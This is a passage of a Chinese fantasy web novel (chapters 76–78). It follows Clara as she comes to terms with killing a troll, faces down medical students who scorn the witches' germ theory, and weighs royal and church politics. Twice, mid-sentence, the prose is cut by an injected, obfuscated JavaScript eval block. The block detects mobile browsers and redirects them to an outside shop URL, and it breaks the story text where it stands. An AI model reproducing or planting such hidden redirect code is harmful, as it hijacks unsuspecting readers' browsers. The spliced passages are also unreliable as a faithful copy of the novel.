“找你的小男友吗?”赫利斯歪着头,手里喂着她的小鸟,“维尔图人和我们没有在一起,他们在上面一点。” “不是男友。”克劳拉皱眉否认,转头见伊登又不高兴,她再次否定,“你不要乱说!” 克劳拉放下盘子,径直离开了,她今天心烦意乱极了,想去旁边森林走动两下。 看着她离去的背影,赫利斯拿起她的盘子,吃完剩下的肉,“不用难过,双生子就是这样的,你迟早要接受她离开你,去和另一个人更亲密。” 就像她和蒂斯萝丝。 这下伊登也放下盘子走了,赫利斯碎碎念“小孩子怎么都爱浪费食物”,将他盘子里的食物拿来喂鸟。 走到森林边缘时,几只狼犬从林间窜出来,为首的那只居然是几天和她回要塞的黑狼,它也认出了克劳拉,兴冲冲带着小弟们奔过来。 克劳拉试探着摸了一把它的头,狼毛也并不柔弱,刺刺的。黑狼咧嘴就想舔她,但她眼疾手快捏住了它的吻部。天知道这只狼吃过什么脏东西,就想往她身上蹭。 黑狼委屈呜咽,但被克劳拉无情推开。挨个摸了摸其他大狗,里纳族养的猎犬毛发倒是比黑狼好摸很多。 忽然黑狼尾巴下垂,压低身体朝克劳拉身后呲牙,克劳拉回头,塔站在不远处。 她勾手,塔便慢慢走过来,但随着他的靠近,狼犬们反而跑远了。 “你把它们都吓跑了。”克劳拉站起来,轻轻抖去斗篷上的碎雪,“和以前的族人相处得不好?” “嗯,他们想让我们回去。” 克劳拉一皱眉,什么意思,她供着这些维尔图人,给吃给穿给住,还没给她带来利益,就想跑吗。 “你们已经和他们不是同伴了,你们现在都是我的人,至少在没付我报酬前不能随便离开!还是说你确实想离开?不然摆出这副不高兴的样子做什么?” 但凡塔犹豫一秒,克劳拉就打算回去将他们赶走了,她不想留心不在这里的人。 “绝对没有!”塔上前拉住克劳拉的手臂,“我不在乎他们,也绝对不可能回去,我不高兴是因为您。” “因为我?”克劳拉不解。 “您,杀死那只巨魔后在想些什么?今天比试的时候又在想些什么?现在又在为什么生气?”塔紧紧逼视着她,手中力道并不重,不至于让克劳拉感到疼痛,但也让她难以挣脱。 克劳拉像是被踩到痛处般,想要挣开他的手,“这些和你没关系。” “放开她!”伊登像牛犊一样冲过来,和塔扭打在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128042|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。 克劳拉试图阻拦两人,发现用处不大后就靠着树看两人打。 里纳族的战士们端着盘子凑过来,时不时点评两句。伊登因为手受伤受限,而塔顾忌克劳拉也没有认真,两人像小孩子打架一样,战士们摇头嘘声一片。 塔比克劳拉想象中的要敏锐,她自己都没察觉到心理出问题了,塔比她先一步发现。 冷静下来的克劳拉,迅速分析自己的不对劲,她确实比平时更浮躁,今天比试时也无意间将战士当做了那只巨魔,只想杀死她。 到底还是那枚白珠对她影响太大了,让她有一种自己杀死的不是巨魔,而是一位有血有肉的人类的错觉。 下令杀死别人和自己亲手杀死终究是不同的,克劳拉慢慢蹲下,将脸埋在手心。 在这之后她可能还会杀死更多的人,每次都像现在一样,那她也太不争气了吧。明明已经下定决心,为了成为国王她什么都可以做到。 “够了!”塔为了摆脱伊登的纠缠,不得不下了重手,“你看不出希姆正在难受吗?” 伊登当然知道克劳拉在难过,但他没有听到两人的对话,只看到塔死死握住克劳拉的手臂,不让她离开,“让她难受的难道不正是你吗?” 塔说不出话,说到底是他没有将尾巴收好,让克劳拉遇到这些,他无法想象从未面对过巨魔的她,是怎么忍着恐惧与伤痛杀死巨魔的。 一时不察,塔被伊登一拳打到在雪地里,“若拉已经和王子殿下订婚了,她以后会是这个国家最尊贵的人!我不管你是什么少主,还是哪里来的最强战士,你都配不上她,懂吗?离我妹妹远一点!” 赫利斯看得啧啧称奇,她半蹲在克劳拉身边,“这没什么不好意思的,以前为蒂斯打架的男人能从里纳族排到塞威族,不过后来他们都被蒂斯打怕了。” 只有巴特这个怪胎,越挨打越兴奋。 “我才懒得管他们打架。”克劳拉声音闷闷地。 “那好吧,让我猜猜你是因为什么。”赫利斯将手放在克劳拉头上,“是因为杀了一只巨魔?你之前连只蚂蚁都没踩死过?所以接受不了自己手上沾了鲜血?” 被说中的克劳拉闷不作声,但也不全是这个原因。 倒是伊登警觉地望过来,“谁杀死巨魔?你小子逼若拉杀巨魔?” 无视又打到一起的两个小辈,赫利斯转而问道:“克劳拉你认为人类和野兽最大的不同是什么?” “人类有智慧。”克劳拉脱口而出。 “那可未必,你怎么知道其他动物没有智慧?你见过蚂蚁的宫殿吗?见过熊会伪装成人类的样子吸引人吗?里纳族的猎犬甚至会算数,听得懂你说的话。” 见克劳拉终于将脸转向她,她手微微一动,轻轻抚过克劳拉的脸颊,“你再想想。” 克劳拉把她能想到的说了个遍,有情感、会说话、会思想、会使用工具,都被赫利斯否决。 “想不出。”克劳拉一阵懊恼。 “是克制,人懂得克制。”赫利斯拉起她的手,“我感觉你想要做很多事,或许会伤害到一些人,不用害怕,也不用顾虑。” “只要你心中一直有根秤,弄明白哪些是必须要做的,哪些会让你心中失衡,失衡的事就不要去做。越是强大,越是掌握权力,你就越要克制自己,作出的每一个选择就都要在秤上反复衡量。虽然结局往往有多方影响,未必如你所愿,但你只要做到你应该做到,问心无愧就好。” “所以杀死巨魔,保护了重要的人,会让你心中的天秤失衡吗?” 克劳拉握紧她的手,眼神慢慢坚定,她摇头。 “那就不必自责,你还有很长的路要走,即使犯错了也没有关系。如果小辈连犯个错都不敢,还要我们这些长辈做什么?”赫利斯俏皮地朝她眨眼睛,“想做就去做,我会永远为你兜底。” 克劳拉扑进了她的怀里,而赫利斯也稳稳接住了她。 “谢谢你赫利斯姨妈。” 这一刻,克劳拉在心中为自己定下了绝不可跨越的红线。只要不越过这条线,她就不会再折磨自己,她选择和自己和解。 76. 第76章 回程时,赫利斯独自驾车和克劳拉在前面,逼迫两个刚打完架的小辈同乘后面一辆雪橇。 “我们不会留在这过冬星日,送你回要塞就要离开了。”赫利斯的声音在风雪中有些模糊,“蒂奇回经常去找你,看到她记得给我回信。” 蒂奇是那只雪绒鸟,现在她就在空中翱翔。克劳拉目光追随着她的身影,轻轻“嗯”了声。 “伊登明明继承了蒂斯的样貌,性格倒和巴特一样又傻又冲,太不靠谱了!还有你那个小男友……” “不是男友,我有订婚对象。”克劳拉将视线扭回来,也不知道为什么赫利斯总认为塔是她的男友,虽然她和安德鲁只是名义上的,但她也不想弄出些其他的流言蜚语惹来麻烦。 赫利斯惊奇地看她一眼,“那你可比蒂斯厉害多了,有男友还让维尔图的小子给你共生图腾。我就说嘛,年轻女孩不要那么早定下来,多玩几个男人,不然你怎么知道谁更适合你……” 见赫利斯越说越离谱,克劳拉耳尖一红,忍不住高声打断她,“姨妈!” 真不知道赫利斯在里纳族到底过的什么日子!但紧接着她又问共生契约是什么。 赫利斯还以为她知道,眉心一皱,该不会被骗着画下图腾的是克劳拉吧。 “蒂斯和巴特就拥有共生图腾。”赫利斯沉默了一瞬,还是将图腾的效果告知给克劳拉。 听完后的克劳拉慢慢睁大眼睛,在脑中想到某种可能——巴特或许并不像哈里森认为的那样对母亲的死亡无动于衷。 但她不明白,巴特为什么不将这一切告诉她和伊登,甚至在她们记事起都很少提起母亲。 一路心情沉重,她想不明白的事越来越多。 几人抵达要塞时,后勤的大部队也堪堪进入要塞。熟悉的夜莺落到克劳拉肩膀上,她立刻将方才的忧虑抛之脑后,惊喜道:“达索琳大巫!我还以为您回去了!” “还有事情没有完成。”达索琳并不喜欢雪花沾到翅膀的感觉,轻轻抖着翅膀,注意到身旁另一道视线,她转头。 “克劳拉,这位是?”赫利斯将护目镜推至头顶,眼睛微眯。 克劳拉连忙介绍两人认识,“这是我的老师,女巫达索琳。大巫,这位是赫利斯,我的姨妈,里纳族的祭司。” 一人一鸟对视了良久,赫利斯打破了沉默,“这位大巫,您也要找冯谈事情吧,不如我们一起走一程?” “如果您说的是侯爵阁下的话,那恭敬不如从命。”夜莺翅膀微扇,一身黑袍的女巫出现在两人面前,“请。” 好奇落到雪橇上的蒂奇惊恐地瞪大眼,她反复扭头查看自己的身体,张开羽翼扑腾了几次,将雪花全吹到克劳拉发丝上。 随即她就被赫利斯捏住后颈,被提溜与达索琳相携去见霍德华侯爵。 总感觉两位女士之间氛围怪怪的,克劳拉爬下雪橇,再次挨个摸了摸雪犬的头,打算去找弗洛伦斯。 她摘下手套,都不用侧头,精准地推开伊登贴过来的脸,“走开!我还有别的事,你两一起离开我的视线。” 快速扫一眼两人的脸,克劳拉又满脸不想直视的嫌弃表情转头,无视伊登讨好的话,直接离开了前坪。 打架的时候也没见听她的劝阻,现在来和她说话,她懒得理睬。索性伊登没有追她,狠狠瞪了眼塔也离开了。 正干活的雪鸮骑士,眼尖看到了独自站在前坪的塔,立刻高声把他喊来。很好,又来一个苦力,他们的工作量减轻了! 径直前往临时医院,想都不用想弗洛伦斯回来后第一件事就是去那里。克劳拉穿过向她问好的病人,发现这会午休,在工作的女孩并不多。 病人与女孩们都频频望向后面的朵帐。 北境骑士告诉她,北区来了几位医学生,是为这边的伤员而来的。 “他们坚称绝不是为您而来,是为了战场上的士兵们。” 这种欲盖弥彰的话,北境骑士听了都觉得有些好笑。在医者协会的医生们全都隐身的时候,这些学生愿意冒着得罪协会的风险也要来帮忙,他们心中其实十分感激。 来到骑士所说的小朵帐,帐篷外围满了女孩们,克劳拉有些疑惑,几位医学生至于让她们都围在这里吗? 身旁的女孩,见挤不进去,索性和克劳拉在旁边说话,“不是为了那些医学生,是因为女巫们在里面!来了好几个像安娜一样的年轻女巫!她们在里面和那些医学生辩论!” “太厉害了!那些男人读了些书都不把我们放在眼里!现在还不是被女巫们说得哑口无言!” 挤不进去的女孩们都凑过来你一言我一语说起来。 克劳拉才知道姐妹会这些女孩们大都不是西亚尔玛人,很多是和蕾莱学习过一阵后,跟随她来到西亚尔玛。 她们有一些是孤儿,一些是被家人不喜偷跑出来,甚至有一个比克劳拉还小一些的女孩已经结婚丈夫都过世了。 蕾莱一边赚钱养着这些女孩,一边教她们知识,还在帝国各地搜集医者协会的一些罪证。 感伤的女孩偷偷擦起眼泪,“老师过得真的又累又苦,我们都心疼她,有些听不懂的知识都不敢打扰她,只好互相问互相学。” “我知道我们不可能一起去您的领地学习,但是希望您能允许我们多和安娜还有这些女巫们相处学习吗?” 被这些希冀的眼神注视着,如果拒绝的话自己简直像十足的恶人一般,克劳拉坦然道:“和谁来往,都是安娜的自由,我从不干涉。简她们也是一样。你们不需要征得我的同意,只要安娜她们愿意教你们就好。” 其实克劳拉还挺想把姐妹会都带去女巫塔的,一旦疫病爆发,这些女孩系统学习过的话可各个能顶大用,至少比教会那些只会放血的医生好。 只不过该怎么带这么多人离开,确实是个大问题。而且还是有不少女孩是西亚尔玛本地人,她们愿意离开父母去未知的远方学习吗? 克劳拉思索时,朵帐帘子忽然被掀开,几位医学生怒气冲冲地走出帐篷,粗鲁地推搡挡住他们的女孩。 弗洛伦斯跟在他们身后,扶住差点被推倒在地的女孩,嘴里怒骂着他们,“你推她们干嘛!有本事来打我!你敢吗!窝囊废!废物!输不起的胆小鬼!” “闭嘴!你们都是些谬论!诡辩!懒得跟女人一般计较。”为首的男子气得脸色涨红,安娜和她的伙伴们从帐篷里出来后,这些医学生更加愤怒了。 一转头他们看到了人群外神色冷漠的克劳拉,“克劳拉小姐!如果您邀请我们来是为了侮辱我们,我承认你的目的达到了。看看这些人,你们巫师塔都是这种大字不识几个女人的话,我看我们也没必要去自取其辱。” 弗洛伦斯气得跳脚,她骂骂咧咧,如果不是身边人阻拦她一定会冲上去狠狠揍这群恶心的人。 不仅仅是她,其他女孩们也气红了脸,但她们常年被受到这种言语打压和眼神蔑视,都不知道该怎么反驳好。 要不是限于巫师契约,女巫们都想好好教训教训这群医学生。 这边吵吵嚷嚷的让骑士和部分病人都探头过来围观。 “安静。”克劳拉一拍手,这么吵闹的环境,让她怎么骂人——不对,是找回场子。 周围终于沉静下来,人们的视线也集中到克劳拉身上,她抬脚往前,女孩们纷纷为她让开一条路,直到她站在这些医学生面前。 这时的克劳拉带上了客套的笑容,“这几位先生怎么称呼?” “韦德·麦托什。” 另外几位医学生也忍着愤怒逐个说出自己的名字,他们确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150275|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是平民,但自认为学识高人一等,哪怕是贵族也不能随意侮辱他们! “那好吧,韦德先生,不知你和女巫们辩论了些什么,让您如此愤怒且出言不逊。” 韦德稍微冷静了些,也知道自己推搡其他女孩出气的行为并不礼貌,但他的高傲做不到让他低头道歉。如今克劳拉和颜悦色与他对话,他便克制自己的不满,将方才的情形说出。 起因是他在治疗一位因腿部创面过大而高烧不止的士兵时,强烈要求截肢处理。但在他准备手术时,几位女巫闯进来,制止了他的行为,并为士兵敷上草药。 当然这并不是让他气愤的理由,选择使用什么治疗手段是病人的权力,病人因此丧命他也不会觉得自责,这是病人自己的选择。 他气愤地是,这群女巫居然质疑□□论,认为高烧不止并不是□□失衡,而是由于一种外侵的微生物。他从未听说过什么微生物还能破坏人体平衡,这不就和那些野蛮人认为生病是恶魔的诅咒一般。 “□□论延误百年,岂能容你们这些走歪门邪道的女巫质疑!”韦德说到此处又变得异常激动。 “而在这所医院里工作的这些女人,”他轻蔑一笑,“连□□论是什么都不能完整说出,女人确实难以成为医生,希望你们不要依靠所谓的同理心就跑来行医,简直是对生命的的漠视。” “是!姐妹会很多确实不了解□□论的起源和核心理论,但你凭什么说我们不会治疗,她们明明将病人照顾得很好。”弗洛伦斯听不下去了,她大声反驳韦德,只换来韦德叹息的眼神。 她还想继续对峙时,却被克劳拉打断,“弗洛娅!可以先保持安静听我说吗?” 克劳拉对她歉意一笑,和这些人争辩女孩们照顾病人照顾得好并没有用,事实摆在他们面前,他们也只会觉得是因为士兵们伤得并不重。 她目光转向女巫们,“芭莎,能向这位先生再次重复你说的话吗?” 在来西亚尔玛之前,克劳拉就已经和这些年轻的女巫们相处过一小段时间,大致记住了她们各自的长处,芭莎正是一位极其擅长草药学的女巫。 被喊到名字的芭莎出列,慢条斯理道:“确实如这位先生所说,我认为有一种来自外界环境的生物导致人生病。” “树和植物偶尔会被虫子蛀食,但有时明明没有任何虫子,水土环境也优良,植物就是莫名死亡。经过大量研究观察,我们认为有一种看不见的有生命的物质杀死了这些植物,同理人类也一样,会被虫蛀亦或是被这种神秘生物入侵。” 这些医学生三番五次想打断芭莎,但她都不紧不慢地往下说,“克劳拉小姐您曾经委托大巫让我们调查某种疫病,我们合理怀疑,这种疫病就是由这种微生物引起,它们从鼠类、跳蚤、蚊虫等身体里传播进人体内……为此我们进行了大量实验……” “当然,这种想法并非我们独有,据我所知奥菲帝国也有学者认为一种特殊的毒液入侵人体,造成人体□□失衡,只是未能发现这种毒液的具体特质。” 韦德终于叫停了她,询问那位学者的名字,芭莎面无表情说出。克劳拉并不认识,但看这些医学生缓和的表情应该是一位著名学者。 “你怎么不早说是安东尼阁下的理论。”这下医学生不再质疑他们,转而认真思考这种理论的可能性。 他们无视了芭莎强调“是我们的理论,你说的那位阁下只是提出某种毒液”,也忘记了方才的不愉快,认真地讨论着。 “我说,你们适可而止。”克劳拉终于忍不住了,她原本以为平民医者会有所不同,看来他们和那些无趣的贵族没有任何区别。 “克劳拉小姐,我想我们需要一间单独的会客室讨论……”韦德突然一顿,一阵冰冷贴上了他的脖颈,“您……这是什么意思?” 77. 第77章 有时候面对眼睛耳朵都不好的人,将剑对着他们,他们的五识四肢都会变得无比灵敏。 “我说,能好好听人说话吗?”克劳拉的剑锋紧贴着韦德的脖颈,在他脆弱的脖子上留下一道白痕。 韦德变得有些激动,他额头青筋暴起,“就算你是贵族,你也没有权力随意处死……” 话还没说完,他轻微的疼痛感传来,韦德一怔,他终于正眼直视眼前人的眼睛。 冷汗从他背后冒出,他无比确认如果他继续说下去,剑的主人会毫不犹豫砍穿他,所以他理智地噤声,并动作示意身后的同学也保持安静。 不仅仅是他们,所有人都闭紧嘴,呼吸都放轻了。除了风声,周围一片死寂。 “看来你们还是能好好保持安静的。”克劳拉微微一笑,她笑起来的时候漂亮的绿眼睛会荡出温柔的感觉,丝毫看不出拿剑指着别人的样子。 “芭莎,”她轻轻柔柔地喊道,“把你上句话再重复一次给这些先生听。” 再次被点到的芭莎,这回有些怵,她小心贴近了安娜,好半天才想起是哪句话,“我说,这是我们的理论,不是学者安东尼的!” “听清楚了吗,韦德先生?” “听……听清楚了。” “将她的话重复一次!” “她……她说……这些都是她想出来的,和安东尼阁下无关……”韦德抖着嗓子,虽然他竭力保持冷静,但还是好几次破音说不出话。 “很好,看来你们听得懂人话,只是不想听女人说话而已。”克劳拉这才收回剑,同时沉下脸,“我以为你们质疑他人的理论至少是拿出足够的实验数据反驳,结果只是张嘴一句女人的理论所以是谬论。” 韦德已经瘫软在地,他身后的同学试图将他扶起,但好几次都没成功。 “我想你们大概不清楚姐妹会的性质,不过你们见识浅薄,我也就原谅你们的无知,弗洛娅给他介绍一下姐妹会。” 早就憋不住的弗洛伦斯急切跳出来道:“姐妹会的工作是护理,是照顾伤员,缓解他们伤口恢复时心理和身体上的疼痛。我承认你们医者的存在相当重要,但我才不允许你们不了解姐妹会的工作就大肆侮辱她们,否认她们的付出。在西亚尔玛,她们可比你们重要多了!” 克劳拉抬起头环视一圈在场所有的女孩们,她永远记得那晚上的如繁星般的灯光,这是她想要保护的人,她绝不允许有人侮辱她们。 她目光沉沉地注视着这些医学生,“你们的入塔考核不通过,想留在临时医院帮忙我们会感谢你们,想离开也请随意。总之德林郡不欢迎你们,我不会让任何心存偏见之人加入巫师塔,也不相信不尊重女性的医者能遵守医德为女性医治。” 终于站起身的韦德,一把推开搀扶他的同伴,放下狠话,“等着吧,我会回去将今天发生的一切告知其他人!绝不会有任何人去你的狗屁巫师塔!” 弗洛伦斯气不过,在身边找半天,最后在树丛上抓了一把雪狠狠砸向他,“滚出西亚尔玛!” 忍耐了许久的女孩们也纷纷抓起能砸的东西砸向他。 韦德想要反击,却看到北境骑士亮出的剑影,只能边破口大骂,边逃离。 剩下的医学生也离开了不少,最后只有两位踌躇着没有离开。 骑士长犹豫了一瞬,还是询问侯爵,“阁下,这些好歹是医者,就这么让他们离开?” 自始至终都在远处旁观的霍德华随意道,“比起不情不愿来到这里的医者,一直在要塞忙前忙后,支持士兵的她们不更重要吗?玛格,你怎么说?” “医者技术固然重要,但一颗仁爱的心更重要。医术可以学,但本性难改变。克劳拉说得对,对生养他们的女性都不尊重,我不认为他们会尽责医治士兵,只和协会里的人没什么两样。” 玛格丽特的目光久久的停留在克劳拉身上,注视着她的妹妹哭喊着与克劳拉抱成一团。女孩们吵吵闹闹着交流着,又因为午休时间结束纷纷回到各自的岗位。 “况且我不认为那位先生说的话会成真,肯定会有越来越多的人前往巫师塔,为了进入巫师塔挤破头。祖父,我们可要抓紧和克劳拉还有女巫们打好关系!” 侯爵哈哈大笑起来,他用力拍了拍骑士长的肩膀,“听到了吗,冬星节拿出最好的食材,好好招待我们的朋友!” 赫利斯也目睹了整个过程,她的眼里带着欣慰的笑意,即使她和姐姐都不曾参与到克劳拉的成长,但她还是成为了出色的大人。 既然如此她也能安心回族里了,她朝着身旁人挥手,转身离去,“走了,两个孩子就拜托你了,该狠狠管教可不要犹豫!” 肩膀上的蒂奇仍转头紧紧盯着那只夜莺,随后又反复扑棱翅膀,引得她的主人将她抱进怀里一顿乱揉。 克劳拉若有所感地望向赫利斯离去的方向,很快被抱着她胳膊的弗洛伦斯拉回注意力。 弗洛伦斯一边向她道歉一边还咒骂着查理辜负她的信任,还一定要她详细讲明怎么被查理推下悬崖又是怎么脱险离开。 弄得刚回到工作岗位的大家偷偷望过来。 克劳拉好说歹说才哄住弗洛伦斯,又和安抚了安娜她们。想到大巫亲自来这边,还找侯爵商谈,应该有其他要事。问女巫们,她们又各个笑而不语,问多了就跑去看望病人。 她实在有些好奇,想直接去问大巫本人,夜莺就出现在了她的视野里,并发出死亡连问:“克劳拉阁下,您离开德林郡的日子里学业没有荒废吧?离开前为您布置的作业写完了吗?安娜之前替您带过来的文书处理了吗?” 克劳拉:……逃不开的学习噩梦。 灰溜溜的回房间补作业,在房门口撞见了同样没有完成学习任务的伊登。两人对视一眼,沉默地达成共识,为了作业短暂和好! 弗洛伦斯来过一次,被她书本上密密麻麻的字符吓到头晕,甚至开始犹豫或许女巫塔并不适合她。 这一奋笔,直到用完晚餐霍德华侯爵邀请两人前往书房商谈要事。 难得今晚侯爵没有喝酒,而是为两位倒上热茶的同时,也为自己倒了一杯。 只是这茶他到底喝不惯,咂咂嘴,凝视两位小辈,开门见山道:“上次我询问的问题,你们已经有答案了吗?” 关于西亚尔玛的士兵为什么能一直奋战在最前线的原因。 “是死亡的恐惧。”伊登先开口,“自己、战友、亲人的死亡都让士兵感到恐惧,所以他们能坚守住防线,为了不让更多的死亡降临。” 侯爵没有立刻表明答案正确与否,而是等待克劳拉的回答。 克劳拉抬眼与他对视,“是仇恨。”她没有过多解释,这一词够了。 侯爵抚掌一笑,“这个问题其实并没有答案。先别急,我问出这一问题的理由只是想让你们亲眼见证守卫军的战场,亲眼见过你们才能感同身受。” “克劳拉阁下虽然并未亲眼见过战场,但也亲自杀死一只巨魔,我想您也明白了这种生物的可怖之处,也明白坚守防线的重要性,这绝非儿戏。” 见眼前两位小辈都陷入沉默,若有所思,侯爵这才拿出一卷羊皮纸,郑重地交到克劳拉手中,“按照约定,东边防线物归原主,希望你们能不负德文希家盛名。” 双手接过羊皮纸,克劳拉没有打开确认,在这件事上她足够信任侯爵,她与伊登同样郑重地许下承诺,“我们会坚守防线!” 侯爵神色一轻,再次为他们添上水,“不用这么严肃,现在我们来展开说说你上次询问我的问题——关于古斯塔的事情。” 夜幕降临,走廊 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昏沉的灯光下,安德鲁微侧头,“当然,舅舅,我一直知道我在做些什么。听说您最近收到了德文希伯爵的信件,你们的关系似乎不错。” 安德鲁并不喜欢伊登·德文希,尤其是经过那一箭,若不是因为温斯顿在当场,他会刺穿这位自大的伯爵的右手。 但他意外发现这位伯爵阁下并非一无是处,至少可以牵动眼前人的情绪。 果不其然温斯顿脸上带了愠色,“卡尔!你在干涉我的信件往来吗?” 说是干涉,温斯顿没有将监视一词在王宫里说出,两人都在为对方留有一丝情面。 最终安德鲁轻笑一声,结束了对峙,“不用担心舅舅,只是克劳拉写给我的信中提了一嘴而已。顺带这份文书和德文希伯爵有关,他的领地似乎出了些小小的问题,希望他在写给您的信中有提及。” 温斯顿作为摄政大臣,在这座宫殿自然有一间专属他的寝宫。安德鲁只朝他点头示意就大步朝向王子宫而去,狮鹫骑士缀在他身后。 王都下起了小雪,安德鲁忽然驻足,仰头注视着昏沉的天,“亚克,洛薇最近在做什么?” 身边的骑士长轻咳一声,“殿下,亚克长官目前不在王都。” 安德鲁这才像回过神一般,亚克不在身边,他与艾洛薇之间也失去了传话筒。 “需要我去查探一番艾洛薇小姐最近……”身旁的骑士长小心发问。 “不用了。”几天后就是冬星节,洛薇会参加宫中的舞会,到时候再将这份文书转交给她。想到只有几天就能见面,安德鲁忘记了方才与温斯顿的冲突,步履轻盈地继续向前。 艾林进入书房时,两位侍女正为古斯塔一世按摩。古斯塔年龄已近五十,早年征战的生活让他落得了不少旧伤,他已经很久没有办公到这么晚了。 平静地将文书摆放在书桌,并逐个分类整理好。忽然艾林眉心一挑,手中的文书少了份,他想到某种可能,再回忆那份文书的内容,他嘴角微扬了一瞬又很快恢复平常。 古斯塔锐利的目光立刻望过来,“出了什么事吗?” “回陛下,没有任何事。只是我最近听到一些奇怪的传言。”艾林恭敬地低垂着头。 对于没有根据的传言,古斯塔兴致缺缺,但他还是命令艾林继续往下说。 “王都里传言,殿下与德文希小姐一直迟迟未婚,是因为殿下心悦的并非德文希小姐,而是另有其人。” 古斯塔转头睨来,一手撑着下颚,饶有兴趣道:“卡尔心悦谁?” 艾林装作有些为难的样子,隐在阴暗处的嘴角却微微上扬,他缓缓道:“是艾洛薇·斐迪南小姐。” 78. 第78章 古斯塔一世,克劳拉在纸上写下他的名字,又写下另外两个人——巴特和玛丽。 古斯塔并非王储,也不是正统王室血统,他的王位来源很简单,娶了一位公主。 上一位国王尤金五世,大规模摧毁炼金术相关书籍,越过教会将炼金术师和异教徒通通绞杀。克劳拉猜测他估计是知晓了黑巫师与教会的联系,想要通过这种方法削弱教权。 教权与王权争夺由来已久,小国或许畏惧教会势力不敢放抗,但其他大国或多或少会出台各种政策扼制教会。 不幸的是,尤金五世在这场权利斗争中落败,整个王室成员或疯或死,最终只余下一位公主。 古斯塔最初也仅是位边境伯爵,甚至当时的他还有一位年龄相仿的未婚妻,但他顶住所有压力迎娶了公主,并靠着强大的军事实力最终成为了国王。 遗憾的是公主在他加冕前离世,古斯塔一世毫不犹豫迎娶了当时王都权势最大的温斯顿家中长女玛丽·温斯顿。 古斯塔的结婚对象可真不容易,克劳拉心中腹诽,到底是真的病逝,还是又被古斯塔牺牲。 他在位期间四处征战,将反对他亦或是亲教会的贵族通通送上战场为他打前阵。 同时大力重用新生贵族、边缘贵族——德文希家正是其中的受益者。他在位期间虽然未授勋平民,但为不少老牌家族中二子或是三子授勋。 巴特就是他最忠诚的刀,为他征战近二十年。而蒂斯萝丝与巴特年少相识,巴特征战期间为他管理领地,坚守边防线。后也与他一同上过战场,直到她怀孕才来到王都,作为古斯塔一世牵制巴特的人质。 蒂斯离世后,人质又变成年幼的兄妹两人。 古斯塔将领地扩大后,回收所有他攻下领地内的教会领土。他并没有强拆任何教堂,只是向教会收取土地租用费。 这项政策几乎没有对圣城造成影响,但严重影响到了索滋帝国内底层教堂的经营。大量教堂入不敷出,要么选择关停,要么选择向信徒收取费用,无论哪个选择,都导致了人们对教会信任度降低。 在这场没有硝烟的斗争中,古斯塔聪明地避开了圣城这座庞大的敌人,选择釜底抽薪,因此他被教会忌惮。 从侯爵口中得知古斯塔的政绩后,克劳拉才明白,想成为真正的国王,她还有很长一段路要走。 至少古斯塔所做的一切她并不能立即明白他的用意,只能在之后逐条进行分析。 除开古斯塔一世,巴特的事情她也十分在意:在得知共生契约一方死亡,另一方也会逐渐衰弱的效果后,克劳拉忽然对巴特的死亡不确定起来——究竟是国王命令他送死,还是说巴特主动赴死? 随即她的炭笔又在玛丽的名字上点了点,玛丽在其中又扮演着什么样的角色。 在刚收到的来信中,艾洛薇告知了当年那几位助产士与医生的现状,其中两位死亡,一位助产士同样死于难产,而医生一位下落不明,另一名因为欠下赌债被追债的打手打死于街头。 同时她坦然告诉克劳拉她曾遇见过巴特与玛丽密谋,至于他们合作内容是什么,这件事太过于久远她已经忘记了。 这封信来得太快了,克劳拉敲桌,从她写下信到接到回信才半个月,除去十天往返,她不信艾洛薇能这么快查明。不如说艾洛薇早就知道会有这么一天,一直在监测着这些人,也一直在等她问起。 她又在纸上写下艾洛薇与女巫们。 玛丽、女巫、艾洛薇,三者之间绝对认识且相熟,她们之间有合作,但内容未知,达索琳没有告诉她,只随意提起过。 同样巴特参与到了她们的计划中,但计划最终失败了,代价是玛丽和巴特的死亡。而如今,女巫又将目光投掷到了她身上 想让克劳拉成为国王只是达成目的的必经路之一,她们的最终目的如果克劳拉没有猜错,应该是毁灭教会。 克劳拉转动着手中的炭笔,但她并不打算彻底摧毁教会,而是打算和阿方索合作改革教会。 这一点目前她不打算让女巫和艾洛薇任何一方知晓,既然她们彼此之间有所隐瞒,那她也还是保留一些自己的想法比较好。 克劳拉合上便签本,终于能安心休息会。这些日子实在过于心累,她一直没有好好休息,至于烦人的作业,先随他去吧。 话虽这么说,冬星节到来的前几天克劳拉都在补作业、批文书,还要趁早安排好防线的事情。 但开春巨魔就会回到森林里,也不知道它们的行为动机到底是什么。所以在下一个凛冬前,德林郡有充足的时间做好物资和武器准备。 东线只有三千左右的兵力,考虑到德林郡的人口较少,克劳拉琢磨与其强制征兵不如多弄些武器,得想办法把圣殿骑士上次那些攻城武器弄到女巫塔去拆解研究。 冬星节前一天,侯爵再次审讯了贾斯。 几天的牢狱之灾让她精神有些萎靡,但风骨依旧,克劳拉一想到她是个女人,就忍不住盯着她打量半天。 这家伙看上去也三十多了,到底用什么手段骗过教会这么多年。 面对侯爵的问询,她只面带微笑,“克劳拉殿下答应我的请求了吗?” “我答应了。”反正这个承诺实现说不定要很久以后了,现在能白得一笔钱和教会资料,何乐而不为。 “我就喜欢您直率的样子,作为交换,我会告诉你们我所知道的教会。”贾斯将遮住眼睛的碎发往上一捋,露出一双野心勃勃的眼睛。 正如克劳拉之前猜测的那样,教会内部并非团结一致。分为激进派、保守派、中立派。 